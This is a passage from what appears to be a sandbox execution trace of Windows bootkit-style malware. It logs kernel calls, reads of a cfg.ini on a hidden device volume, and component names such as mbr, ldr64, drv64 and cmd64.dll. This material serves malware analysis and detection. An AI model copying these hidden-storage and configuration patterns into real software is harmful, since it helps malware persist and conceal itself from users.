_Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.997] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.997] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe5f0 [0120.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.997] KeLeaveCriticalRegion () [0120.997] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.997] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.997] KeEnterCriticalRegion () [0120.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.997] KeLeaveCriticalRegion () [0120.997] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.997] KeEnterCriticalRegion () [0120.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.997] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.997] IdePortDispatch () returned 0x103 [0120.998] KeWaitForMutexObject () returned 0x0 [0120.998] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.998] KeLeaveCriticalRegion () [0120.998] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.998] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.998] KeEnterCriticalRegion () [0120.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.998] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353b000 [0120.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.998] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.998] IdePortDispatch () returned 0x103 [0120.998] KeWaitForMutexObject () returned 0x0 [0120.998] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.998] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.998] IdePortDispatch () returned 0x103 [0120.998] KeWaitForMutexObject () returned 0x0 [0120.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.999] KeLeaveCriticalRegion () [0120.999] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.999] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.999] KeEnterCriticalRegion () [0120.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.999] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.999] KeLeaveCriticalRegion () [0120.999] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.999] KeEnterCriticalRegion () [0120.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.999] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.999] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.999] KeLeaveCriticalRegion () [0120.999] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.999] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.999] KeEnterCriticalRegion () [0120.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.999] ExFreePoolWithTag (P=0xfffffa8003bbe5f0, Tag=0x0) [0120.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.999] KeLeaveCriticalRegion () [0120.999] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.999] ReleaseMutex (hMutex=0xf0) returned 1 [0120.999] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.999] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.000] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.000] KeEnterCriticalRegion () [0121.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.000] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.000] IdePortDispatch () returned 0x103 [0121.000] KeWaitForMutexObject () returned 0x0 [0121.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.000] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.000] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.000] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.000] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.000] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe950 [0121.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.000] KeLeaveCriticalRegion () [0121.000] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.000] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.000] KeEnterCriticalRegion () [0121.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.000] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.000] KeLeaveCriticalRegion () [0121.000] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.000] KeEnterCriticalRegion () [0121.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.000] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.000] IdePortDispatch () returned 0x103 [0121.000] KeWaitForMutexObject () returned 0x0 [0121.001] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.001] KeLeaveCriticalRegion () [0121.001] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.001] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.001] KeEnterCriticalRegion () [0121.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.001] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000010) returned 0xfffff8800353c000 [0121.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.001] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.001] IdePortDispatch () returned 0x103 [0121.001] KeWaitForMutexObject () returned 0x0 [0121.001] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.002] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.002] IdePortDispatch () returned 0x103 [0121.002] KeWaitForMutexObject () returned 0x0 [0121.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.002] KeLeaveCriticalRegion () [0121.002] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.002] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.002] KeEnterCriticalRegion () [0121.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.002] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.002] KeLeaveCriticalRegion () [0121.003] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.003] KeEnterCriticalRegion () [0121.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.003] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.003] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.003] KeLeaveCriticalRegion () [0121.003] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.003] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.003] KeEnterCriticalRegion () [0121.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.003] ExFreePoolWithTag (P=0xfffffa8003bbe950, Tag=0x0) [0121.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.003] KeLeaveCriticalRegion () [0121.003] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.003] ReleaseMutex (hMutex=0xf0) returned 1 [0121.003] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.003] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.003] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.003] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.003] KeEnterCriticalRegion () [0121.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.003] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.003] IdePortDispatch () returned 0x103 [0121.003] KeWaitForMutexObject () returned 0x0 [0121.003] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.003] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.003] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.003] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.003] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.003] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.003] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.003] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.003] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.003] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.003] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.003] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.004] KeLeaveCriticalRegion () [0121.004] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.004] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.004] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.004] KeEnterCriticalRegion () [0121.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.004] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.004] IdePortDispatch () returned 0x103 [0121.004] KeWaitForMutexObject () returned 0x0 [0121.004] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.004] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.004] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.004] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.004] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.004] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.004] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.004] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.004] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.004] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.004] KeLeaveCriticalRegion () [0121.004] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.004] ReleaseMutex (hMutex=0x100) returned 1 [0121.004] Sleep (dwMilliseconds=0x2bf20) [0121.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b52a1b0, dwHighDateTime=0x1d24fa4)) [0121.011] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.011] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.011] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.011] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.011] KeEnterCriticalRegion () [0121.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.011] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.011] IdePortDispatch () returned 0x103 [0121.011] KeWaitForMutexObject () returned 0x0 [0121.011] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.011] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.011] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.011] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.011] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.011] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe950 [0121.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.011] KeLeaveCriticalRegion () [0121.011] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.011] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.011] KeEnterCriticalRegion () [0121.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.012] KeLeaveCriticalRegion () [0121.012] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.012] KeEnterCriticalRegion () [0121.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.012] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.012] IdePortDispatch () returned 0x103 [0121.012] KeWaitForMutexObject () returned 0x0 [0121.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.012] KeLeaveCriticalRegion () [0121.012] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.012] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.012] KeEnterCriticalRegion () [0121.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.012] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353f000 [0121.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.012] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.012] IdePortDispatch () returned 0x103 [0121.012] KeWaitForMutexObject () returned 0x0 [0121.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.013] IdePortDispatch () returned 0x103 [0121.013] KeWaitForMutexObject () returned 0x0 [0121.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.013] KeLeaveCriticalRegion () [0121.013] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.013] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.013] KeEnterCriticalRegion () [0121.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 